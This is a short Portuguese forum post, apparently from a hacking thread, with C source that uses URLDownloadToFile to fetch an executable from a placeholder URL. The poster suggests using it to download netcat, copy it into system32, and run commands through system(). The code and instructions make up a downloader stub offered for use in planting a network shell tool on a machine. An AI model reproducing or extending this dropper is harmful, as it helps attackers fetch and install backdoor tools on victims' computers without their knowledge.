Ah perdão o double post, para aqueles que quiserem implementar o source por exemplo fazer download do netcat.
Não esqueçam de adicionar a biblioteca urlmon.h . Só lembrando para aqueles que quiserem compilar pelo DevC++ não irá funcionar devido faltar alguns cabeçalhos mas da para ajeitar. Podem utilizar o Visual C++ para o mesmo que dará certo, ai é só copiar para o system32, podendo usar as funções da biblioteca stdio.h (fopen) mesmo, ou se preferirem utilizar do system("codigo"); da biblioteca stdlib.h
Abraços!
Código:
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
int main()
{
if(URLDownloadToFile(NULL, "http://arquivo.exe", "destino.exe", NULL, NULL))
{
MessageBox(NULL,"erro","Erro",MB_OK | MB_ICONERROR);
return 1;
}
else
{
MessageBox(NULL,"sucesso","Msg", MB_OK);
}
return 0;
}